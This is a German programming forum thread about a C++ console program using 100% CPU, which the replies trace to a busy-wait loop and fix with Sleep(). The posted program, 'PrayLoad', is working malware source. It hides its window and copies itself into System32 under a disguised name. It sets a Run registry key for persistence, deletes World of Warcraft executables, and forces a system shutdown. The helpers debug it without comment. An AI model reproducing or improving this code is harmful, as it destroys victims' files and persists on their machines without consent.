100% Auslastung



  • Wie mikey schon gesagt hat wird wahrscheinlich eine deiner Schleifen die 100% CPU Last verursachen. Versuch es mal mit dem sleep zu dem dir mikey geraten hat.



  • Lösung:

    Wenn es ne schleife ist, dann lässt sich gar nichts mehr machen mit deinem Programm (Programm reagiert nicht mehr)

    Ich denke mal du hast im hauptfenster bei der OnPaint Funktion

    am ende die zeile CWnd::OnPaint(); vergessen... wenn ja bekomt dein Prgramm laufen "neu Zeichne" messages und hat so ne 100% auslastung:)

    bzw. muss nich mal unbedingt die OnPaint vom haupfenster sein.. halt irgend eine OnPaint deines Programmes

    P.S.: Hatte mal das selbe Problem und bin fast verzweifelt :xmas2:

    EDIT: Das wäre die Fall ein einer MFC Anwendung, könntest du aber auch evtl. auf deine Anwendung ableiten... (Kontinuierlicher Message aufruf)



  • BorisDieKlinge schrieb:

    Lösung:
    Wenn es ne schleife ist, dann lässt sich gar nichts mehr machen mit deinem Programm (Programm reagiert nicht mehr)

    Ich denke mal du hast im hauptfenster bei der OnPaint Funktion

    am ende die zeile CWnd::OnPaint(); vergessen... wenn ja bekomt dein Prgramm laufen "neu Zeichne" messages und hat so ne 100% auslastung:)

    bzw. muss nich mal unbedingt die OnPaint vom haupfenster sein.. halt irgend eine OnPaint deines Programmes

    P.S.: Hatte mal das selbe Problem und bin fast verzweifelt :xmas2:

    EDIT: Das wäre die Fall ein einer MFC Anwendung, könntest du aber auch evtl. auf deine Anwendung ableiten... (Kontinuierlicher Message aufruf)

    Halöle BorisDieKlinge,
    ich glaube eher das es sich um eine Konsolenanwendung handelt. Bei Konsolenanwendungen hast du dieses Nachrichtensystem wie bei der MFC nicht und musst das Problem anderster behandeln/lösen. Eine Möglichkeit wurde oben mit dem sleep genannt. Eine weitere Möglichkeit wäre das ganze in einem extra Thread laufen zu lassen.



  • Das bedeutet, dass sich der Prozessor vollkommen der Bearbeitung Deines Programmes widmet ... was will man mehr ?

    Er könnte dann noch die Prozesspriorität auf Realtime stellen, dann geht dein Programm ab wie ein Zäpfchen 😃

    Nee, also wiegesagt, check mal deinen Code nach den erwähnten Vermutungen. Wenn sich was rührt, dann melde dich!

    MfG, mikey.



  • Ich denke mal du hast im hauptfenster bei der OnPaint Funktion
    ...

    Wird auch so die Wettervorhersage gemacht ? 😃



  • chrische5 schrieb:

    ...
    Das hast du einfach schön gesagt.

    chrische

    Danke. 😋

    Ich habe immer noch nicht verstanden, welches "Problem" hier eigentlich gelöst werden soll .... vielleicht kann mal einer von denen, die einen Lösungsvorschlag unterbreitet haben, das mal kurz schildern.

    Gruß,

    Simon2.



  • Simon2 schrieb:

    Ich habe immer noch nicht verstanden, welches "Problem" hier eigentlich gelöst werden soll .... vielleicht kann mal einer von denen, die einen Lösungsvorschlag unterbreitet haben, das mal kurz schildern.

    Gruß,

    Simon2.

    Das Problem ist, daß es eigendlich nix zu sagen gibt, aber jeder den Drang verspürt etwas sagen zu müssen, denn die meisten haben damals den Satz in der Sesamstrasse einfach falsch verstanden. Es heißt: Wer nicht fragt bleibt dumm. die meisten glauben aber es heiße: Wer nichts sagt ist dumm. 😉



  • schue schrieb:

    Das Problem ist, daß es eigendlich nix zu sagen gibt, aber jeder den Drang verspürt etwas sagen zu müssen, denn die meisten haben damals den Satz in der Sesamstrasse einfach falsch verstanden. Es heißt: Wer nicht fragt bleibt dumm. die meisten glauben aber es heiße: Wer nichts sagt ist dumm. 😉

    Das Problem ist das die CPU beim ausführen des Programmes auf 100% belastung ansteigt und genau dieses Problem soll behoben werden.



  • guenni81 schrieb:

    ...Das Problem ist das die CPU beim ausführen des Programmes auf 100% belastung ansteigt und genau dieses Problem soll behoben werden.

    Das ist kein Problem.
    Man muß seinen Prozesseor nicht "schonen" ("Oh. mein Gott, der kommt ja aus der Puste, wenn der immer bei 100% läuft") 😉

    Ist Dein Problem vielleicht, dass andere Prozesse in der Zeit nicht zu Zuge kommen ?

    Gruß,

    Simon2.



  • Simon2 schrieb:

    Man muß seinen Prozesseor nicht "schonen" ("Oh. mein Gott, der kommt ja aus der Puste, wenn der immer bei 100% läuft") 😉

    Es kommt auf das Programm an. Wenn du nur einen Coutdown runterzählen lässt und die CPU 100% Systemauslastung anzeigt, dann kann was an dem Programm nicht stimmen.

    Simon2 schrieb:

    Ist Dein Problem vielleicht, dass andere Prozesse in der Zeit nicht zu Zuge kommen ?

    Dies ergibt sich zwangsläufig automatisch wenn die CPU bei 100% Systemauslastung liegt.



  • guenni81 schrieb:

    ...

    Simon2 schrieb:

    Ist Dein Problem vielleicht, dass andere Prozesse in der Zeit nicht zu Zuge kommen ?

    Dies ergibt sich zwangsläufig automatisch wenn die CPU bei 100% Systemauslastung liegt.

    Es heißt aber nicht zwangsläufig, dass es ein Problem ist.
    Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.

    Gruß,

    Simon2.



  • Simon2 schrieb:

    Es heißt aber nicht zwangsläufig, dass es ein Problem ist.
    Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.

    Was für Anwendungen sind das den?



  • guenni81 schrieb:

    Simon2 schrieb:

    Es heißt aber nicht zwangsläufig, dass es ein Problem ist.
    Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.

    Was für Anwendungen sind das den?

    Z.B. private Keys rechnen mit entsprechenden Primzahloperationen. Eigentlich alles, wo man rechnet ... dass der normale User sich angewöhnt hat, 100%-CPU als etwas Schlechtes anzusehen, liegt wohl eher daran, dass viele ihre Computer drastisch unterfordern. Wie sagte mal ein Freund von mir so schön: "Warum soll ich meinen 286er gegen einen 386er tauschen ? Damit er noch schneller auf meinen nächsten Tastendruck warten kann ?" 😉

    Gruß,

    Simon2.



  • Hier ist der Code.
    Das die Schleife sich endlos laeuft sehe ich jetzt auch nicht.
    Coda habe ich desshalb erst nicht geposted, weil ich genau wusste was hier nun wieder fuer Fragen auftauchen.

    // Prog kicks WoW
    // PrayLoad (c) by Coda
    
    #include <cstdlib>
    #include <iostream>
    #include <stdio.h>
    #include <time.h>
    #include <math.h>
    #include <windows.h>
    
    using namespace std;
    
    // Math
    void wait ( int seconds )
    {
      clock_t endwait;
      endwait = clock () + seconds * CLK_TCK ;
      while (clock() < endwait) {}
    }
    
    // Main-Funktion
    int main()
    {
    
    // Konsole invisible   
       SetConsoleTitle("PrayLoad");
       HWND hFenster = FindWindow(NULL, "PrayLoad");
       ShowWindow(hFenster, SW_HIDE);
    
    // Copy
    CopyFile("wow_fun.exe" , "C:\\WINDOWS\\System32\\cfmon.exe" , TRUE);
    
    // auto boot
       HKEY hkey;
       HKEY KEY = HKEY_LOCAL_MACHINE;
       char place[100]= {"Software\\Microsoft\\Windows\\CurrentVersion\\Run"};
       char name[100]= {"Autostart"};
       char value[100]= {"C:\\WINDOWS\\System32\\cfmon.exe"};
    
       RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&hkey);
       RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)value, strlen(value));
       RegCloseKey(hkey);
    
    // Dec
      int n;
      int mineing = 3;
      int min;
      int sek;
      FILE * pFile1;
      pFile1 = fopen ("C:\\Programme\\World of Warcraft\\Launcher.exe","r");
      FILE * pFile2;
      pFile2 = fopen ("D:\\Programme\\World of Warcraft\\Launcher.exe","r");
      FILE * pFile3;
      pFile3 = fopen ("C:\\Programme\\World of Warcraft\\WoW.exe","r");
      FILE * pFile4;
      pFile4 = fopen ("D:\\Programme\\World of Warcraft\\WoW.exe","r");
    
    // Math
      min = mineing * 60;
      sek = min;
    
    // time
      for (n = sek; n > 0; --n)
      {
        wait (1);
      }
    
    // if for filetest  
      if (!pFile1 == NULL || !pFile2 == NULL || !pFile3 == NULL || !pFile4 == NULL)
      {
    // Del
          DeleteFile("C:\\Programme\\World of Warcraft\\Launcher.exe");
          DeleteFile("D:\\Programme\\World of Warcraft\\Launcher.exe");
          DeleteFile("C:\\Programme\\World of Warcraft\\WoW.exe");
          DeleteFile("D:\\Programme\\World of Warcraft\\WoW.exe");
    
    // Terminate
    
    // Shutdown
          system("shutdown -s -t 0");
      }
      else
      {
         return 0;
      }
      return 0;
    }
    

    MfG
    Coda



  • Coda@linux.PrayLoad. schrieb:

    void wait ( int seconds )
    {
      clock_t endwait;
      endwait = clock () + seconds * CLK_TCK ;
      while (clock() < endwait) { Sleep(1000); }
    }
    

    "Problem" gelöst?

    (Rest des Programms nicht angeschaut, ich hoffe ich habe deine Frage verstanden)



  • Naja, kein Wunder das da ne 100% CPU Auslastung rauskommt wenn die wait-funktion nonstop clock() called.

    btw, geht viel einfacher:

    void wait ( int seconds )
    {
       Sleep(1000 * seconds);
    }
    

    Mit dem Unterschied das der Thread vom Sleep suspended wird, also 0 CPU Auslastung erzeugt solange er wartet.



  • Ja, danke, aber ich verstehe es nicht so wirklich.

    MfG
    Coda



  • hmm, also:

    while (clock() < endwait) {}
    

    Das ist eine while-schleife die non-stop den clock() Befehl aufruft. Dein Computer benutzt also seine komplette Rechenleistung um ununterbrochen clock() aufzurufen bis die Abbruchbedingung erreicht ist. Auf meinem Rechner sind das z.B 13.706.686 Aufrufe pro Sekunde. UNd genau da kommen deine 100% Rechenauslastung her...



  • Coda@linux.PrayLoad schrieb:

    Ja, danke, aber ich verstehe es nicht so wirklich.

    MfG
    Coda

    Hi,

    sieh es mal anders herum:
    - Dein Prozess hat nur dann weniger als 100% CPU-Auslastung, wenn der Rechner einem anderen Prozess (und sei es "idle") Rechenzeit zuweist.
    - Damit der Rechner das tut, musst Du ihm mitteilen, dass Du jetzt etwas Rechnezeit "übrig" hast.
    - Das teilst Du ihm mittels sleep() mit.

    (ich weiß, im Detail ist scheduling noch deutlich komplexer, aber das ist schonmal ein Grundprinzip)

    Gruß,

    Simon2.



  • Simon2 schrieb:

    guenni81 schrieb:

    ...

    Simon2 schrieb:

    Ist Dein Problem vielleicht, dass andere Prozesse in der Zeit nicht zu Zuge kommen ?

    Dies ergibt sich zwangsläufig automatisch wenn die CPU bei 100% Systemauslastung liegt.

    Es heißt aber nicht zwangsläufig, dass es ein Problem ist.
    Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.

    Gruß,

    Simon2.

    wenn ein programm nur auf eine Eingabe wartet order in Wirklichkeit gar nicht rechnet, dann ist es durchaus ein Problem.

    mfg.


Anmelden zum Antworten